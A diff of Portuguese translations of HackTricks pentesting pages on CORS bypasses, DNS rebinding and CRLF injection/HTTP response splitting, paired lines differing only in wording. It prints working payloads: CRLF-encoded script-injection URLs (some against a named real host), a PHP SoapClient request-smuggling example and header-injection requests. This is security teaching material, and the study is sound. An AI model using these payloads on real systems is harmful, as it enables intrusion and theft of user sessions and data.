Esse cabeçalho pode permitir **múltiplas origens**, um valor **`null`**, ou um caractere coringa **`*`**. No entanto, **nenhum navegador suporta múltiplas origens**, e o uso do caractere coringa `*` está sujeito a **limitações**. (O caractere coringa deve ser usado sozinho, e seu uso junto com `Access-Control-Allow-Credentials: true` não é permitido.)
|
Este cabeçalho pode permitir **múltiplas origens**, um valor **`null`**, ou um caractere curinga **`*`**. No entanto, **nenhum navegador suporta múltiplas origens**, e o uso do caractere curinga `*` está sujeito a **limitações**. (O caractere curinga deve ser usado sozinho, e seu uso junto com `Access-Control-Allow-Credentials: true` não é permitido.)
|
||||||
|
|
||||||
Esse cabeçalho é **emitido por um servidor** em resposta a uma solicitação de recurso entre domínios iniciada por um site, com o navegador adicionando automaticamente um cabeçalho `Origin`.
|
Este cabeçalho é **emitido por um servidor** em resposta a uma solicitação de recurso entre domínios iniciada por um site, com o navegador adicionando automaticamente um cabeçalho `Origin`.
|
||||||
|
|
||||||
### Cabeçalho `Access-Control-Allow-Credentials`
|
### Cabeçalho `Access-Control-Allow-Credentials`
|
||||||
|
|
||||||
|
@ -74,13 +74,13 @@ xhr.send('<person><name>Arun</name></person>');
|
||||||
|
|
||||||
### Compreensão das Solicitações de Pré-voo na Comunicação entre Domínios
|
### Compreensão das Solicitações de Pré-voo na Comunicação entre Domínios
|
||||||
|
|
||||||
Ao iniciar uma solicitação entre domínios sob condições específicas, como usar um **método HTTP não padrão** (qualquer coisa diferente de HEAD, GET, POST), introduzir novos **cabeçalhos**, ou empregar um valor especial de **cabeçalho Content-Type**, pode ser necessária uma solicitação de pré-voo. Essa solicitação preliminar, utilizando o método **`OPTIONS`**, serve para informar o servidor sobre as intenções da futura solicitação entre origens, incluindo os métodos e cabeçalhos HTTP que pretende usar.
|
Ao iniciar uma solicitação entre domínios sob condições específicas, como usar um **método HTTP não padrão** (qualquer coisa diferente de HEAD, GET, POST), introduzir novos **cabeçalhos**, ou empregar um valor de cabeçalho **Content-Type** especial, pode ser necessária uma solicitação de pré-voo. Essa solicitação preliminar, aproveitando o método **`OPTIONS`**, serve para informar o servidor sobre as intenções da futura solicitação entre origens, incluindo os métodos e cabeçalhos HTTP que pretende usar.
|
||||||
|
|
||||||
O protocolo de **Compartilhamento de Recursos de Origem Cruzada (CORS)** exige essa verificação de pré-voo para determinar a viabilidade da operação entre origens solicitada, verificando os métodos permitidos, cabeçalhos e a confiabilidade da origem. Para entender em detalhes quais condições contornam a necessidade de uma solicitação de pré-voo, consulte o guia abrangente fornecido pela [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests).
|
O protocolo de **Compartilhamento de Recursos de Origem Cruzada (CORS)** exige essa verificação de pré-voo para determinar a viabilidade da operação entre origens solicitada, verificando os métodos permitidos, cabeçalhos e a confiabilidade da origem. Para entender em detalhes quais condições contornam a necessidade de uma solicitação de pré-voo, consulte o guia abrangente fornecido pela [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests).
|
||||||
|
|
||||||
É crucial observar que a **ausência de uma solicitação de pré-voo não anula a necessidade de a resposta conter cabeçalhos de autorização**. Sem esses cabeçalhos, o navegador fica incapacitado em sua capacidade de processar a resposta da solicitação entre origens.
|
É crucial observar que a **ausência de uma solicitação de pré-voo não anula a necessidade de a resposta conter cabeçalhos de autorização**. Sem esses cabeçalhos, o navegador fica incapacitado em sua capacidade de processar a resposta da solicitação entre origens.
|
||||||
|
|
||||||
Considere a seguinte ilustração de uma solicitação de pré-voo destinada a utilizar o método `PUT` juntamente com um cabeçalho personalizado chamado `Special-Request-Header`:
|
Considere a seguinte ilustração de uma solicitação de pré-voo destinada a empregar o método `PUT` juntamente com um cabeçalho personalizado chamado `Special-Request-Header`:
|
||||||
```
|
```
|
||||||
OPTIONS /info HTTP/1.1
|
OPTIONS /info HTTP/1.1
|
||||||
Host: example2.com
|
Host: example2.com
|
||||||
|
@ -101,16 +101,16 @@ Access-Control-Max-Age: 240
|
||||||
```
|
```
|
||||||
- **`Access-Control-Allow-Headers`**: Este cabeçalho especifica quais cabeçalhos podem ser usados durante a solicitação real. É definido pelo servidor para indicar os cabeçalhos permitidos em solicitações do cliente.
|
- **`Access-Control-Allow-Headers`**: Este cabeçalho especifica quais cabeçalhos podem ser usados durante a solicitação real. É definido pelo servidor para indicar os cabeçalhos permitidos em solicitações do cliente.
|
||||||
- **`Access-Control-Expose-Headers`**: Através deste cabeçalho, o servidor informa ao cliente sobre quais cabeçalhos podem ser expostos como parte da resposta, além dos cabeçalhos de resposta simples.
|
- **`Access-Control-Expose-Headers`**: Através deste cabeçalho, o servidor informa ao cliente sobre quais cabeçalhos podem ser expostos como parte da resposta, além dos cabeçalhos de resposta simples.
|
||||||
- **`Access-Control-Max-Age`**: Este cabeçalho indica por quanto tempo os resultados de uma solicitação de pré-voo podem ser armazenados em cache. O servidor define o tempo máximo, em segundos, que as informações retornadas por uma solicitação de pré-voo podem ser reutilizadas.
|
- **`Access-Control-Max-Age`**: Este cabeçalho indica por quanto tempo os resultados de uma solicitação prévia podem ser armazenados em cache. O servidor define o tempo máximo, em segundos, que as informações retornadas por uma solicitação prévia podem ser reutilizadas.
|
||||||
- **`Access-Control-Request-Headers`**: Usado em solicitações de pré-voo, este cabeçalho é definido pelo cliente para informar ao servidor sobre quais cabeçalhos HTTP o cliente deseja usar na solicitação real.
|
- **`Access-Control-Request-Headers`**: Usado em solicitações prévias, este cabeçalho é definido pelo cliente para informar ao servidor sobre quais cabeçalhos HTTP o cliente deseja usar na solicitação real.
|
||||||
- **`Access-Control-Request-Method`**: Este cabeçalho, também usado em solicitações de pré-voo, é definido pelo cliente para indicar qual método HTTP será usado na solicitação real.
|
- **`Access-Control-Request-Method`**: Este cabeçalho, também usado em solicitações prévias, é definido pelo cliente para indicar qual método HTTP será usado na solicitação real.
|
||||||
- **`Origin`**: Este cabeçalho é definido automaticamente pelo navegador e indica a origem da solicitação entre origens. É usado pelo servidor para avaliar se a solicitação recebida deve ser permitida ou negada com base na política CORS.
|
- **`Origin`**: Este cabeçalho é definido automaticamente pelo navegador e indica a origem da solicitação entre origens diferentes. É usado pelo servidor para avaliar se a solicitação recebida deve ser permitida ou negada com base na política CORS.
|
||||||
|
|
||||||
|
|
||||||
Observe que geralmente (dependendo do tipo de conteúdo e cabeçalhos definidos) em uma solicitação **GET/POST nenhum pedido de pré-voo é enviado** (a solicitação é enviada **diretamente**), mas se você deseja acessar os **cabeçalhos/corpo da resposta**, ela deve conter um cabeçalho _Access-Control-Allow-Origin_ permitindo isso.\
|
Observe que geralmente (dependendo do tipo de conteúdo e cabeçalhos definidos) em uma solicitação **GET/POST nenhum pedido de pré-voo é enviado** (a solicitação é enviada **diretamente**), mas se você deseja acessar os **cabeçalhos/corpo da resposta**, ela deve conter um cabeçalho _Access-Control-Allow-Origin_ permitindo isso.\
|
||||||
**Portanto, CORS não protege contra CSRF (mas pode ser útil).**
|
**Portanto, CORS não protege contra CSRF (mas pode ser útil).**
|
||||||
|
|
||||||
### **Solicitação de Rede Local de Pré-voo**
|
### **Solicitação de Rede Local Pré-voo**
|
||||||
|
|
||||||
1. **`Access-Control-Request-Local-Network`**: Este cabeçalho é incluído na solicitação do cliente para indicar que a consulta é direcionada a um recurso de rede local. Ele serve como um marcador para informar ao servidor que a solicitação se origina de dentro da rede local.
|
1. **`Access-Control-Request-Local-Network`**: Este cabeçalho é incluído na solicitação do cliente para indicar que a consulta é direcionada a um recurso de rede local. Ele serve como um marcador para informar ao servidor que a solicitação se origina de dentro da rede local.
|
||||||
|
|
||||||
|
@ -200,7 +200,7 @@ Padrões de regex geralmente se concentram em caracteres alfanuméricos, ponto (
|
||||||
|
|
||||||
### A partir de XSS dentro de um subdomínio
|
### A partir de XSS dentro de um subdomínio
|
||||||
|
|
||||||
Os desenvolvedores frequentemente implementam mecanismos defensivos para proteger contra a exploração de CORS, listando os domínios que têm permissão para solicitar informações. Apesar dessas precauções, a segurança do sistema não é infalível. A presença de um único subdomínio vulnerável dentro dos domínios da lista branca pode abrir a porta para a exploração de CORS por meio de outras vulnerabilidades, como XSS (Cross-Site Scripting).
|
Os desenvolvedores frequentemente implementam mecanismos defensivos para proteger contra a exploração de CORS, listando os domínios que têm permissão para solicitar informações. Apesar dessas precauções, a segurança do sistema não é infalível. A presença de até mesmo um único subdomínio vulnerável dentro dos domínios da lista branca pode abrir a porta para a exploração de CORS por meio de outras vulnerabilidades, como XSS (Cross-Site Scripting).
|
||||||
|
|
||||||
Para ilustrar, considere o cenário em que um domínio, `requester.com`, está na lista branca para acessar recursos de outro domínio, `provider.com`. A configuração do lado do servidor pode se parecer com isso:
|
Para ilustrar, considere o cenário em que um domínio, `requester.com`, está na lista branca para acessar recursos de outro domínio, `provider.com`. A configuração do lado do servidor pode se parecer com isso:
|
||||||
```javascript
|
```javascript
|
||||||
|
@ -263,7 +263,7 @@ req.send();
|
||||||
|
|
||||||
### XSSI (Cross-Site Script Inclusion) / JSONP
|
### XSSI (Cross-Site Script Inclusion) / JSONP
|
||||||
|
|
||||||
XSSI, também conhecido como Inclusão de Script de Sites Cruzados, é um tipo de vulnerabilidade que se aproveita do fato de que a Política de Mesma Origem (SOP) não se aplica ao incluir recursos usando a tag de script. Isso ocorre porque os scripts precisam poder ser incluídos de diferentes domínios. Essa vulnerabilidade permite que um atacante acesse e leia qualquer conteúdo que tenha sido incluído usando a tag de script.
|
XSSI, também conhecido como Inclusão de Script de Sites Cruzados, é um tipo de vulnerabilidade que se aproveita do fato de que a Política de Mesma Origem (SOP) não se aplica ao incluir recursos usando a tag de script. Isso ocorre porque os scripts precisam poder ser incluídos de diferentes domínios. Essa vulnerabilidade permite que um atacante acesse e leia qualquer conteúdo que foi incluído usando a tag de script.
|
||||||
|
|
||||||
Essa vulnerabilidade se torna particularmente significativa quando se trata de JavaScript dinâmico ou JSONP (JSON com Padding), especialmente quando informações de autoridade ambiente como cookies são usadas para autenticação. Ao solicitar um recurso de um host diferente, os cookies são incluídos, tornando-os acessíveis ao atacante.
|
Essa vulnerabilidade se torna particularmente significativa quando se trata de JavaScript dinâmico ou JSONP (JSON com Padding), especialmente quando informações de autoridade ambiente como cookies são usadas para autenticação. Ao solicitar um recurso de um host diferente, os cookies são incluídos, tornando-os acessíveis ao atacante.
|
||||||
|
|
||||||
|
@ -271,7 +271,7 @@ Para entender melhor e mitigar essa vulnerabilidade, você pode usar o plugin Bu
|
||||||
|
|
||||||
[**Leia mais sobre os diferentes tipos de XSSI e como explorá-los aqui.**](xssi-cross-site-script-inclusion.md)
|
[**Leia mais sobre os diferentes tipos de XSSI e como explorá-los aqui.**](xssi-cross-site-script-inclusion.md)
|
||||||
|
|
||||||
Tente adicionar um **parâmetro de callback** na solicitação. Talvez a página tenha sido preparada para enviar os dados como JSONP. Nesse caso, a página enviará os dados de volta com `Content-Type: application/javascript`, o que irá contornar a política CORS.
|
Tente adicionar um **parâmetro de callback** na solicitação. Talvez a página tenha sido preparada para enviar os dados como JSONP. Nesse caso, a página enviará os dados com `Content-Type: application/javascript`, o que contornará a política CORS.
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (229).png>)
|
![](<../.gitbook/assets/image (229).png>)
|
||||||
|
|
||||||
|
@ -285,15 +285,15 @@ Uma maneira de contornar a restrição `Access-Control-Allow-Origin` é solicita
|
||||||
|
|
||||||
### Bypass Iframe + Popup
|
### Bypass Iframe + Popup
|
||||||
|
|
||||||
Você pode **contornar as verificações CORS** como `e.origin === window.origin` criando um iframe e abrindo uma nova janela a partir dele. Mais informações na seguinte página:
|
Você pode **contornar verificações CORS** como `e.origin === window.origin` criando um iframe e abrindo uma nova janela a partir dele. Mais informações na seguinte página:
|
||||||
|
|
||||||
{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
|
{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
|
||||||
[iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md)
|
[iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### Rebinding DNS via TTL
|
### Rebinding de DNS via TTL
|
||||||
|
|
||||||
O rebinding DNS via TTL é uma técnica usada para contornar certas medidas de segurança manipulando registros DNS. Veja como funciona:
|
O rebinding de DNS via TTL é uma técnica usada para contornar certas medidas de segurança manipulando registros DNS. Veja como funciona:
|
||||||
|
|
||||||
1. O atacante cria uma página da web e faz a vítima acessá-la.
|
1. O atacante cria uma página da web e faz a vítima acessá-la.
|
||||||
2. O atacante então altera o DNS (IP) de seu próprio domínio para apontar para a página da web da vítima.
|
2. O atacante então altera o DNS (IP) de seu próprio domínio para apontar para a página da web da vítima.
|
||||||
|
@ -303,22 +303,22 @@ O rebinding DNS via TTL é uma técnica usada para contornar certas medidas de s
|
||||||
|
|
||||||
É importante observar que os navegadores possuem mecanismos de cache que podem impedir o abuso imediato dessa técnica, mesmo com valores de TTL baixos.
|
É importante observar que os navegadores possuem mecanismos de cache que podem impedir o abuso imediato dessa técnica, mesmo com valores de TTL baixos.
|
||||||
|
|
||||||
O rebinding DNS pode ser útil para contornar verificações explícitas de IP realizadas pela vítima ou para cenários em que um usuário ou bot permanece na mesma página por um período prolongado, permitindo que o cache expire.
|
O rebinding de DNS pode ser útil para contornar verificações explícitas de IP realizadas pela vítima ou para cenários em que um usuário ou bot permanece na mesma página por um período prolongado, permitindo que o cache expire.
|
||||||
|
|
||||||
Se você precisa de uma maneira rápida de abusar do rebinding DNS, você pode usar serviços como [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html).
|
Se você precisa de uma maneira rápida de abusar do rebinding de DNS, você pode usar serviços como [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html).
|
||||||
|
|
||||||
Para executar seu próprio servidor de rebinding DNS, você pode utilizar ferramentas como **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)). Isso envolve expor a porta local 53/udp, criar um registro A apontando para ele (por exemplo, ns.example.com) e criar um registro NS apontando para o subdomínio A criado anteriormente (por exemplo, ns.example.com). Qualquer subdomínio do subdomínio ns.example.com será então resolvido pelo seu host.
|
Para executar seu próprio servidor de rebinding de DNS, você pode utilizar ferramentas como **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)). Isso envolve expor a porta local 53/udp, criar um registro A apontando para ele (por exemplo, ns.example.com) e criar um registro NS apontando para o subdomínio A criado anteriormente (por exemplo, ns.example.com). Qualquer subdomínio do subdomínio ns.example.com será então resolvido pelo seu host.
|
||||||
|
|
||||||
Você também pode explorar um servidor em execução publicamente em [http://rebind.it/singularity.html](http://rebind.it/singularity.html) para uma melhor compreensão e experimentação.
|
Você também pode explorar um servidor em execução publicamente em [http://rebind.it/singularity.html](http://rebind.it/singularity.html) para uma melhor compreensão e experimentação.
|
||||||
|
|
||||||
### Rebinding DNS via **Cache**
|
### Rebinding de DNS via **Cache**
|
||||||
|
|
||||||
Outra maneira de contornar a defesa de cache é utilizando vários endereços IP para o mesmo subdomínio no provedor DNS. Veja como funciona:
|
Outra maneira de contornar a defesa de cache é utilizando vários endereços IP para o mesmo subdomínio no provedor DNS. Veja como funciona:
|
||||||
|
|
||||||
1. O atacante configura dois registros A (ou um único registro A com dois IPs) para o mesmo subdomínio no provedor DNS.
|
1. O atacante configura dois registros A (ou um único registro A com dois IPs) para o mesmo subdomínio no provedor DNS.
|
||||||
2. Quando um navegador verifica esses registros, ele recebe ambos os endereços IP.
|
2. Quando um navegador verifica esses registros, ele recebe ambos os endereços IP.
|
||||||
3. Se o navegador decidir usar primeiro o endereço IP do atacante, o atacante pode enviar um payload que realiza solicitações HTTP para o mesmo domínio.
|
3. Se o navegador decidir usar primeiro o endereço IP do atacante, o atacante pode servir um payload que realiza solicitações HTTP para o mesmo domínio.
|
||||||
4. No entanto, uma vez que o atacante obtém o endereço IP da vítima, ele deixa de responder ao navegador da vítima.
|
4. No entanto, uma vez que o atacante obtém o endereço IP da vítima, ele para de responder ao navegador da vítima.
|
||||||
5. O navegador da vítima, ao perceber que o domínio não está respondendo, passa a usar o segundo endereço IP fornecido.
|
5. O navegador da vítima, ao perceber que o domínio não está respondendo, passa a usar o segundo endereço IP fornecido.
|
||||||
6. Ao acessar o segundo endereço IP, o navegador contorna a Política de Mesma Origem (SOP), permitindo que o atacante abuse disso e colete e exfiltre informações.
|
6. Ao acessar o segundo endereço IP, o navegador contorna a Política de Mesma Origem (SOP), permitindo que o atacante abuse disso e colete e exfiltre informações.
|
||||||
|
|
||||||
|
@ -339,13 +339,13 @@ Para mais informações, você pode verificar [https://unit42.paloaltonetworks.c
|
||||||
* Se **IPs internos não são permitidos**, responda com um **CNAME** para **localhost** (funciona em Linux e Mac)
|
* Se **IPs internos não são permitidos**, responda com um **CNAME** para **localhost** (funciona em Linux e Mac)
|
||||||
* Se **IPs internos não são permitidos** como respostas DNS, você pode responder com **CNAMEs para serviços internos** como www.corporate.internal.
|
* Se **IPs internos não são permitidos** como respostas DNS, você pode responder com **CNAMEs para serviços internos** como www.corporate.internal.
|
||||||
|
|
||||||
### Rebinding DNS Weaponized
|
### Rebinding de DNS Weaponized
|
||||||
|
|
||||||
Você pode encontrar mais informações sobre as técnicas de bypass anteriores e como usar a seguinte ferramenta na palestra [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ).
|
Você pode encontrar mais informações sobre as técnicas de bypass anteriores e como usar a seguinte ferramenta na palestra [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ).
|
||||||
|
|
||||||
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) é uma ferramenta para realizar ataques de [rebinding DNS](https://en.wikipedia.org/wiki/DNS\_rebinding). Inclui os componentes necessários para restringir o endereço IP do nome DNS do servidor de ataque ao endereço IP da máquina alvo e para servir payloads de ataque para explorar software vulnerável na máquina alvo.
|
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) é uma ferramenta para realizar ataques de [rebinding de DNS](https://en.wikipedia.org/wiki/DNS\_rebinding). Inclui os componentes necessários para restringir o endereço IP do nome DNS do servidor de ataque ao endereço IP da máquina alvo e para servir payloads de ataque para explorar software vulnerável na máquina alvo.
|
||||||
|
|
||||||
### Proteção Real contra Rebinding DNS
|
### Proteção Real contra Rebinding de DNS
|
||||||
|
|
||||||
* Use TLS em serviços internos
|
* Use TLS em serviços internos
|
||||||
* Solicite autenticação para acessar dados
|
* Solicite autenticação para acessar dados
|
||||||
|
@ -354,7 +354,7 @@ Você pode encontrar mais informações sobre as técnicas de bypass anteriores
|
||||||
|
|
||||||
## **Ferramentas**
|
## **Ferramentas**
|
||||||
|
|
||||||
**Fuzz possíveis configurações incorretas em políticas CORS**
|
**Fuzz possíveis configurações incorretas nas políticas CORS**
|
||||||
|
|
||||||
* [https://github.com/chenjj/CORScanner](https://github.com/chenjj/CORScanner)
|
* [https://github.com/chenjj/CORScanner](https://github.com/chenjj/CORScanner)
|
||||||
* [https://github.com/lc/theftfuzzer](https://github.com/lc/theftfuzzer)
|
* [https://github.com/lc/theftfuzzer](https://github.com/lc/theftfuzzer)
|
||||||
|
|
|
@ -9,7 +9,7 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -61,8 +61,8 @@ A Divisão de Resposta HTTP é uma vulnerabilidade de segurança que surge quand
|
||||||
1. A aplicação define um cabeçalho personalizado assim: `X-Custom-Header: UserInput`
|
1. A aplicação define um cabeçalho personalizado assim: `X-Custom-Header: UserInput`
|
||||||
2. A aplicação busca o valor para `UserInput` de um parâmetro de consulta, digamos "user_input". Em cenários sem validação e codificação adequadas de entrada, um atacante pode criar um payload que inclui a sequência CRLF, seguida de conteúdo malicioso.
|
2. A aplicação busca o valor para `UserInput` de um parâmetro de consulta, digamos "user_input". Em cenários sem validação e codificação adequadas de entrada, um atacante pode criar um payload que inclui a sequência CRLF, seguida de conteúdo malicioso.
|
||||||
3. Um atacante cria uma URL com um 'user_input' especialmente elaborado: `?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>`
|
3. Um atacante cria uma URL com um 'user_input' especialmente elaborado: `?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>`
|
||||||
- Nesta URL, `%0d%0a%0d%0a` é a forma codificada de URL de CRLFCRLF. Isso engana o servidor para inserir uma sequência CRLF, fazendo com que o servidor trate a parte subsequente como o corpo da resposta.
|
- Nesta URL, `%0d%0a%0d%0a` é a forma codificada da URL de CRLFCRLF. Isso engana o servidor para inserir uma sequência CRLF, fazendo com que o servidor trate a parte subsequente como o corpo da resposta.
|
||||||
4. O servidor reflete a entrada do atacante no cabeçalho da resposta, resultando em uma estrutura de resposta não intencional onde o script malicioso é interpretado pelo navegador como parte do corpo da resposta.
|
4. O servidor reflete a entrada do atacante no cabeçalho da resposta, levando a uma estrutura de resposta não intencional onde o script malicioso é interpretado pelo navegador como parte do corpo da resposta.
|
||||||
|
|
||||||
#### Um exemplo de Divisão de Resposta HTTP levando a Redirecionamento
|
#### Um exemplo de Divisão de Resposta HTTP levando a Redirecionamento
|
||||||
|
|
||||||
|
@ -80,9 +80,9 @@ Location: http://myweb.com
|
||||||
```
|
```
|
||||||
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
|
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
|
||||||
```
|
```
|
||||||
#### No Caminho da URL
|
#### No caminho do URL
|
||||||
|
|
||||||
Você pode enviar a carga útil **dentro do caminho da URL** para controlar a **resposta** do servidor (exemplo de [aqui](https://hackerone.com/reports/192667)):
|
Você pode enviar o payload **dentro do caminho do URL** para controlar a **resposta** do servidor (exemplo de [aqui](https://hackerone.com/reports/192667)):
|
||||||
```
|
```
|
||||||
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
|
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
|
||||||
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
|
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
|
||||||
|
@ -93,7 +93,7 @@ Verifique mais exemplos em:
|
||||||
|
|
||||||
### Injeção de Cabeçalho HTTP
|
### Injeção de Cabeçalho HTTP
|
||||||
|
|
||||||
A Injeção de Cabeçalho HTTP, frequentemente explorada por meio da injeção CRLF (Carriage Return and Line Feed), permite que os atacantes insiram cabeçalhos HTTP. Isso pode minar mecanismos de segurança, como filtros XSS (Cross-Site Scripting) ou a SOP (Same-Origin Policy), potencialmente levando a acesso não autorizado a dados sensíveis, como tokens CSRF, ou à manipulação de sessões de usuário por meio do plantio de cookies.
|
A Injeção de Cabeçalho HTTP, frequentemente explorada por meio da injeção de CRLF (Carriage Return and Line Feed), permite que os atacantes insiram cabeçalhos HTTP. Isso pode minar mecanismos de segurança, como filtros XSS (Cross-Site Scripting) ou a SOP (Same-Origin Policy), potencialmente levando a acesso não autorizado a dados sensíveis, como tokens CSRF, ou à manipulação de sessões de usuário por meio do plantio de cookies.
|
||||||
|
|
||||||
#### Explorando CORS via Injeção de Cabeçalho HTTP
|
#### Explorando CORS via Injeção de Cabeçalho HTTP
|
||||||
|
|
||||||
|
@ -101,7 +101,7 @@ Um atacante pode injetar cabeçalhos HTTP para habilitar o CORS (Cross-Origin Re
|
||||||
|
|
||||||
#### SSRF e Injeção de Requisição HTTP via CRLF
|
#### SSRF e Injeção de Requisição HTTP via CRLF
|
||||||
|
|
||||||
A injeção de CRLF pode ser utilizada para criar e injetar uma nova requisição HTTP. Um exemplo notável disso é a vulnerabilidade na classe `SoapClient` do PHP, especificamente no parâmetro `user_agent`. Ao manipular esse parâmetro, um atacante pode inserir cabeçalhos adicionais e conteúdo do corpo, ou até mesmo injetar uma nova requisição HTTP completamente. Abaixo está um exemplo em PHP demonstrando essa exploração:
|
A injeção de CRLF pode ser utilizada para criar e injetar uma nova requisição HTTP inteiramente. Um exemplo notável disso é a vulnerabilidade na classe `SoapClient` do PHP, especificamente no parâmetro `user_agent`. Ao manipular esse parâmetro, um atacante pode inserir cabeçalhos adicionais e conteúdo do corpo, ou até mesmo injetar uma nova requisição HTTP completamente. Abaixo está um exemplo em PHP demonstrando essa exploração:
|
||||||
```php
|
```php
|
||||||
$target = 'http://127.0.0.1:9090/test';
|
$target = 'http://127.0.0.1:9090/test';
|
||||||
$post_string = 'variable=post value';
|
$post_string = 'variable=post value';
|
||||||
|
@ -130,7 +130,7 @@ $client->__soapCall("test", []);
|
||||||
|
|
||||||
Para mais informações sobre essa técnica e possíveis problemas [**verifique a fonte original**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning).
|
Para mais informações sobre essa técnica e possíveis problemas [**verifique a fonte original**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning).
|
||||||
|
|
||||||
Você pode injetar cabeçalhos essenciais para garantir que o **back-end mantenha a conexão aberta** após responder à solicitação inicial:
|
Você pode injetar cabeçalhos essenciais para garantir que o **back-end mantenha a conexão aberta** após responder ao pedido inicial:
|
||||||
```
|
```
|
||||||
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
|
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
|
||||||
```
|
```
|
||||||
|
@ -158,7 +158,7 @@ Memcache é um **armazenamento de chave-valor que utiliza um protocolo de texto
|
||||||
|
|
||||||
Se uma plataforma está **recebendo dados de uma solicitação HTTP e os utilizando sem sanitização** para realizar **solicitações** a um servidor **memcache**, um atacante poderia abusar desse comportamento para **injetar novos comandos memcache**.
|
Se uma plataforma está **recebendo dados de uma solicitação HTTP e os utilizando sem sanitização** para realizar **solicitações** a um servidor **memcache**, um atacante poderia abusar desse comportamento para **injetar novos comandos memcache**.
|
||||||
|
|
||||||
Por exemplo, na vulnerabilidade original descoberta, chaves de cache eram usadas para retornar o IP e a porta a que um usuário deveria se conectar, e os atacantes foram capazes de **injetar comandos memcache** que **envenenariam** o **cache para enviar os detalhes das vítimas** (nomes de usuário e senhas incluídos) para os servidores do atacante:
|
Por exemplo, na vulnerabilidade original descoberta, chaves de cache eram usadas para retornar o IP e a porta a que um usuário deveria se conectar, e os atacantes conseguiam **injetar comandos memcache** que **envenenariam** o **cache para enviar os detalhes das vítimas** (nomes de usuário e senhas incluídos) para os servidores dos atacantes:
|
||||||
|
|
||||||
